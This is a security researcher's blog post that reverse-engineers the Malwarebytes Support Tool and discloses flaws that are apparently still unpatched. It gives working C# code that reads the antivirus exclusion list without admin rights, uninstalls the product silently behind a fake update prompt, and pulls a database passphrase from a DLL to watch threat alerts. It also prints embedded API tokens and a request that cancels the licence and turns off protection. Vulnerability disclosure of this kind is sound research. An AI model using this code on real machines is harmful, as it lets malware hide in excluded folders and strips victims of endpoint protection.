Page cover

🛠️Digging Into Malwarebytes Support Tool

How it started

In my last post, I explored a vulnerability in Malwarebytes that let a low-privilege component trigger actions normally restricted to higher privileges. This time, I turned my attention to the Malwarebytes Support Tool.

While poking around, I uncovered a few flaws and potential vulnerabilities:

  • How a low-privilege process can read the exclusions list.

  • How to track Malwarebytes threat notifications in real-time.

  • How the support tool creates tickets and can perform silent uninstalls.

  • How It may be possible to downgrade Malwarebytes by removing the subscription, which would disable real-time protection and leave the machine less secure.

But how did I get here?

While testing another Malwarebytes vulnerability, I broke my installation. Instead of reinstalling it manually, I downloaded the official Support Tool.

That's when my .NET trained eye 🤓 started tingling, I got the sense this was made in .NET.

After spotting a Newtonsoft DLL and some other ones, I grabbed my dotnetFinder tool and ran it against the tool's files.

How it works

I started by looking at the support tool executable but didn't find anything promising, although at the end of the post we'll go back to it and check some fun things I learned.

Some DLLs immediately catch the eye. we'll first take a look at the native ones, while mbrpt.dll will come later, as it's the only significant .NET DLL. mbfix_clr.dll appears to be written in managed C++, but it’s a Windows system repair utility, so it's not very interesting.

Overview of the DLLs

DLL
Purpose

mbcheck.dll

Collects system information.

mbclean.dll

Removes Malwarebytes software.

mbfix_clr.dll

Restores windows components like wmi, firewall, etc, using registry hives.

mbcut.dll

Common Utilities used by other DLLs.

mbgrab.dll

Collects files from the system.

mbchkrpt.dll

Collects system/malwarebytes configuration information.

mbrpt.dll

Bridge between the .NET application and all the other utility DLLs.

After examining several native DLLs, the most interesting is mbcheck.dll, which exposes a large number of exported functions. I would split the exports into two categories: System Information and Malwarebytes Information.

System information:

  • Get antivirus software installed.

  • Get third party firewalls installed.

  • Get network adapters information.

  • Get user accounts / computer information.

  • Get the list of startup applications.

  • Get UAC configuration.

Malwarebytes Information:

  • Get protection information

  • Get proxy server settings

  • Get quarantine list

  • Get exclusion list

Now, figuring out what struct each function uses is tricky. All the functions take a pointer to a struct and then fill it accordingly. Without documentation, you have to reverse-engineer the struct's layout and fields, which can be tedious.

When asking my friend estrellas (go check his blog: https://deobfuscation.club/blog/) for some plugin that could help me, i got this answer:

So, for that reason, we’ll put the native DLLs to the side and take the much easier route: check the imports on the .NET DLL.

Looking at the .NET DLL

This brings us to mbrpt.dll, which the support tool executable uses to access all the functionalities provided by the other DLLs.

Luckily for us, there’s no obfuscation, so the code is easy to read.

There's a lot to go through, so I'll focus on the native imports first. A quick search for the DLL names makes them easy to spot.

There is a lot of information you can get, as an example:

But I'll focus on the code for getting the exclusion list, which is the most interesting one to me.

Getting the Exclusions list

The code for this lies in the GetProtectionInfo function, there is a lot of structs and classes needed, so I will keep it short here and link the full code on GitHub.

[DllImport("mbcheck.dll", CallingConvention = CallingConvention.Cdecl)]
[return: MarshalAs(UnmanagedType.I1)]

public static bool GetProtectionInfoImp(ref ConfiguredExclusion configuredExclusion, PROTECTION_TYPE type)
{
    try
    {
        PROTECTION_INFO protectionInfo = default(PROTECTION_INFO);
        if (GetProtectionInfo(ref protectionInfo, type))
        {
            switch (type)
            {
                case PROTECTION_TYPE.ANTI_EXPLOIT:
                    configuredExclusion.aeExclusion.ProtectionState = protectionInfo.ProtectionState;
                    break;
                case PROTECTION_TYPE.ANTI_RANSOMWARE:
                    configuredExclusion.arwExclusion.ProtectionState = protectionInfo.ProtectionState;
                    break;
                case PROTECTION_TYPE.MALWARE:
                    configuredExclusion.malwareExclusion.ProtectionState = protectionInfo.ProtectionState;
                    break;
                case PROTECTION_TYPE.WEB:
                    configuredExclusion.mwacExclusion.ProtectionState = protectionInfo.ProtectionState;
                    break;
            }
            int num = Marshal.SizeOf(typeof(EXCLUSION_ITEM));
            for (int i = 0; i < protectionInfo.EntryCount; i++)
            {
                IntPtr ptr = new IntPtr(protectionInfo.pExclusionItem.ToInt64() + num * i);
                EXCLUSION_ITEM eXCLUSION_ITEM = (EXCLUSION_ITEM)Marshal.PtrToStructure(ptr, typeof(EXCLUSION_ITEM));
                switch (type)
                {
                    case PROTECTION_TYPE.WEB:
                        {
                            WebExclusionItem webExclusionItem = new WebExclusionItem();
                            webExclusionItem.Type = eXCLUSION_ITEM.Type;
                            webExclusionItem.Id = eXCLUSION_ITEM.Id;
                            webExclusionItem.Address = eXCLUSION_ITEM.Value;
                            configuredExclusion.mwacExclusion.WebExclusionList.Add(webExclusionItem);
                            break;
                        }
                    case PROTECTION_TYPE.ANTI_RANSOMWARE:
                        {
                            MalwareExclusionItem malwareExclusionItem2 = new MalwareExclusionItem();
                            malwareExclusionItem2.Type = eXCLUSION_ITEM.Type;
                            malwareExclusionItem2.Id = eXCLUSION_ITEM.Id;
                            malwareExclusionItem2.Path = eXCLUSION_ITEM.Value;
                            configuredExclusion.arwExclusion.RansomwareExclusionList.Add(malwareExclusionItem2);
                            break;
                        }
                    case PROTECTION_TYPE.MALWARE:
                        {
                            MalwareExclusionItem malwareExclusionItem = new MalwareExclusionItem();
                            malwareExclusionItem.Type = eXCLUSION_ITEM.Type;
                            malwareExclusionItem.Id = eXCLUSION_ITEM.Id;
                            malwareExclusionItem.Path = eXCLUSION_ITEM.Value;
                            configuredExclusion.malwareExclusion.MalwareExclusionList.Add(malwareExclusionItem);
                            break;
                        }
                    case PROTECTION_TYPE.ANTI_EXPLOIT:
                        {
                            AeExclusionItem aeExclusionItem = new AeExclusionItem();
                            aeExclusionItem.Hash = eXCLUSION_ITEM.Type;
                            aeExclusionItem.Id = eXCLUSION_ITEM.Id;
                            aeExclusionItem.Path = eXCLUSION_ITEM.Value;
                            configuredExclusion.aeExclusion.AeExclusionList.Add(aeExclusionItem);
                            break;
                        }
                }
                Marshal.DestroyStructure(ptr, typeof(EXCLUSION_ITEM));
            }
            if (protectionInfo.pExclusionItem != IntPtr.Zero)
            {
                Marshal.FreeCoTaskMem(protectionInfo.pExclusionItem);
            }
        }
    }
    catch (Exception e)
    {
        Console.WriteLine(e.Message);
    }
    return true;
}

Running it gives this output (no administrator privileges required):

Link to the repo:

https://github.com/miltinhoc/MbExclusionsPoc

If you want to see this weaponized, check out a short YouTube video I made:

What happens on the video:

  1. I run the executable, which drops the mbcheck.dll.

  2. I retrieve the exclusion list.

  3. I place an infostealer in the path that was listed as excluded.

  4. I run the infostealer, which executes without issues because it's running from an excluded folder (otherwise caught by malwarebytes).

Flashback to Last Time

This whole thing instantly reminded me of my last adventure with Malwarebytes. I had found a vulnerability that let a low‑privilege component trigger actions normally reserved for higher privileges, which, among other things, allowed me to terminate the antivirus altogether without administrator rights. I reported it properly and then things got weird.

First, I got brushed off, then I got banned from reporting anything to Malwarebytes on HackerOne.

When I mentioned that in a group chat, Thomas (creator of Malcore) offered to host my write-up on his blog. A few days later, Malwarebytes suddenly reopened the report, apologised, and even paid me for the finding.

The ban, however, was never lifted. So I'm still blocked from submitting vulnerabilities directly to Malwarebytes.

If you want the full story, here's my previous post:

https://miltinhoc.gitbook.io/malware-dev/exploring-a-security-flaw-in-malwarebytes

Fun discoveries

Ticket creation

The tool can create support tickets, which makes sense for a support app, but that same capability can be abused to flood the support system with large volumes of tickets.

Below is a request showing the structure of the POST request used by the tool to open a ticket

var client = new HttpClient();
var request = new HttpRequestMessage(HttpMethod.Post, "https://support-tool.malwarebytes.com/api/v2/tickets");
request.Headers.Add("Authorization", "24be141e4427de6ccd4f29f1a3341668");
var content = new StringContent("{\"group_id\": \"\",\"name\": \"miltin\",\"email\": \"miltin@proton.me\",\"subject\": \"cannot open malwarebytes\",\"body\": \"I cannot open Malwarebytes UI\",\"fields\": {  \"product\": \"wf_product_malwarebytes_for_windows\",  \"issue_type\": \"malwarebytes_dont_open\",  \"operating_system_version\": \"os_version_windows_64_bit\"}}", null, "application/json");
request.Content = content;
var response = await client.SendAsync(request);

The product and operating_system_version can vary:

Product values:

  • wf_product_anti_exploit_for_windows

  • wf_product_anti_ransomware_for_windows

  • wf_product_anti_malware_for_windows

  • wf_product_malwarebytes_for_windows

Operating System values:

They always start with os_version_, followed by your Windows version (with . replaced by _), and then the architecture.

Examples:

  • os_version_windows_10_64_bit

  • os_version_windows_8_1_64_bit

  • os_version_windows_8_32_bit

😏 Next malware idea: Infects victim ➨ Opens 1,000 Malwarebytes support tickets ➨ Exits

Silent uninstall

You can actually uninstall Malwarebytes silently.

To do this, you only need to:

  1. Find the Malwarebytes Installation folder.

  2. Call mbuns.exe /uninstall /nosurvey /silent.

Example code:

string programFilesPath = Environment.ExpandEnvironmentVariables("%ProgramW6432%");
string mbPath = Path.Combine(programFilesPath, "Malwarebytes\\Anti-Malware");

ProcessStartInfo startInfo = new ProcessStartInfo(Path.Combine(mbPath, "mbuns.exe"))
{
	Arguments = "/uninstall /nosurvey /silent",
	CreateNoWindow = true,
	UseShellExecute = false
};

using (Process process = new Process())
{
	process.StartInfo = startInfo;
	process.Start();
	process.WaitForExit(300000);
}

Now, this would be harder to pull off if the UAC prompt comes from your own executable, but you can actually make it come from malwarebytes signed executable to look more legitimate, to do this, as I had done on the previous post, I created a fake popup that asks the user to turn on auto updates.

When the user clicks it, there are two main approaches I tested. They work almost the same, differing only in what UAC prompt is displayed to the user:

  1. You drop malwarebytes_assistant.exe with a modified version of malwarebytes_assistant.dll, which will be the one calling mbuns.exe.

  2. You call mbuns.exe directly.

Since many actions already prompt the user for elevation, for example, turning off any of the real-time protections, this wouldn't seem too suspicious.

Real-time notifications?

Malwarebytes stores data in a SQLite database located at %localappdata%\Malwarebytes\data.db. When I tried opening this database, I received the following message:

This indicates that the database is encrypted. After some digging, I found the password inside MbamUI.Data.dll in the AppDbContextFactory class. This is not a DLL from the support tool but rather from malwarebytes itself.

The database contains several tables:

What caught my attention was the Notifications table, which shows, among other information, the threats blocked by Malwarebytes:

At first, I tried triggering another "threat blocked" alert to see if new entries would show up in real time. However, nothing appeared in the table.

After looking more closely in the folder where the database is stored, I found a few additional files:

It turns out Malwarebytes uses Write-Ahead Logging (WAL). This means that real-time changes are first written to data.db-wal, and from my testing, only when Malwarebytes shuts down (or the system is turned off) are those changes merged into data.db.

Forcing WAL Merges

Luckily for us, it's possible to force these merges manually, here is an example code that:

  1. Extract the passphrase from MbamUI.Data.dll.

  2. Open the encrypted database.

  3. Force a WAL merge.

  4. Query all stored threat notifications.

string programFilesPath = Environment.ExpandEnvironmentVariables("%ProgramW6432%");
string mbPath = Path.Combine(programFilesPath, "Malwarebytes\\Anti-Malware");

var mbamuiPath = Path.Combine(mbPath, "MbamUI.Data.dll");
var assembly = Assembly.LoadFrom(mbamuiPath);

var type = assembly.GetType("MbamUI.Data.AppDbContextFactory");
var field = type?.GetField("PassPhrase", BindingFlags.Public | BindingFlags.Static);

string? pass = field?.GetValue(null) as string;

string remoteDbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Malwarebytes", "data.db");

var encryptedConnectionString = new SqliteConnectionStringBuilder
{
    DataSource = remoteDbPath,
    Mode = SqliteOpenMode.ReadWrite,
    Password = pass
}.ToString();

using (var encryptedConnection = new SqliteConnection(encryptedConnectionString))
{
    encryptedConnection.Open();
    
    //forces merge
    using (var cmd = encryptedConnection.CreateCommand())
    {
        cmd.CommandText = "PRAGMA wal_checkpoint(TRUNCATE);";
        cmd.ExecuteNonQuery();
    }

    using (var cmd = encryptedConnection.CreateCommand())
    {
        cmd.CommandText = "SELECT Timestamp,ThreatName,ObjectName FROM Notifications WHERE ThreatName IS NOT NULL;";

        using (var reader = cmd.ExecuteReader())
        {
            while (reader.Read())
            {
                var timestamp = reader.GetString(0);
                var threatName = reader.GetString(1);
                string ObjectName = reader.GetString(2);

                Console.WriteLine($"{timestamp} | [{threatName}] {ObjectName}");
            }
        }
    }
}

Real-Time Monitoring

To take this further, you could combine the database logic with a FileSystemWatcher monitoring changes to data.db-wal. Each time the WAL file changes, you trigger a merge and query the Notifications table again. This effectively gives you a real-time view of blocked threats.

Check a POC project on Github:

https://github.com/miltinhoc/MbThreatTracker

Downgrade Malwarebytes?

While testing the Malwarebytes support tool, I noticed that one of its intended steps seems to involve unredeeming the current subscription and storing a backup of the license on the desktop. In practice, I wasn't able to confirm the unredeem step being executed, but the code for it is clearly present in the tool.

Installation Token

Among the exported functions of mbcheck.dll is GetInstallationToken. This function returns a Base64-encoded string:

Forcing Subscription Removal

If this value could be decrypted, which I believe should be possible, although I haven't managed to do it yet, you could then make a POST request like this:

private static async Task UnredeemLicense(string installationToken)
{
    string keystoneProdToken = "jqnjxFME71yp1qsLTnyn";

    using (var client = new HttpClient())
    {
        string keystoneProd = "https://keystone.mwbsys.com/api/v1/installations/unredeem";
        client.DefaultRequestHeaders.Add("Authorization", $"Token token={keystoneProdToken}");

        var formData = new Dictionary<string, string>
        {
            { "installation_token", installationToken },
            { "reason", "uninstall" }
        };

        var content = new FormUrlEncodedContent(formData);
        HttpResponseMessage response = await client.PostAsync(keystoneProd, content);
        response.EnsureSuccessStatusCode();
    }
}

During my testing, I was able to capture my real installation token by inspecting Malwarebytes HTTP traffic. When I supplied this real token in the POST request, my active subscription was immediately terminated, which in turn instantly disabled real-time protection on the machine.

Conclusion

The Malwarebytes Support Tool exposed several flaws:

  • A low‑privilege process can read the exclusions list, which can be used to run malicious binaries from excluded paths.

  • The product's logging/notification mechanism (WAL + encrypted DB) can be forced into revealing blocked‑threat information in near real time.

  • The support tool can create tickets and perform silent uninstalls, features that, if abused, could be misused.

  • There is code to unredeem installations. With a valid installation token this can disable subscriptions and thereby turn off real‑time protection.

Finally, and most importantly, these issues remain unresolved as of 02/10/2025.

Last updated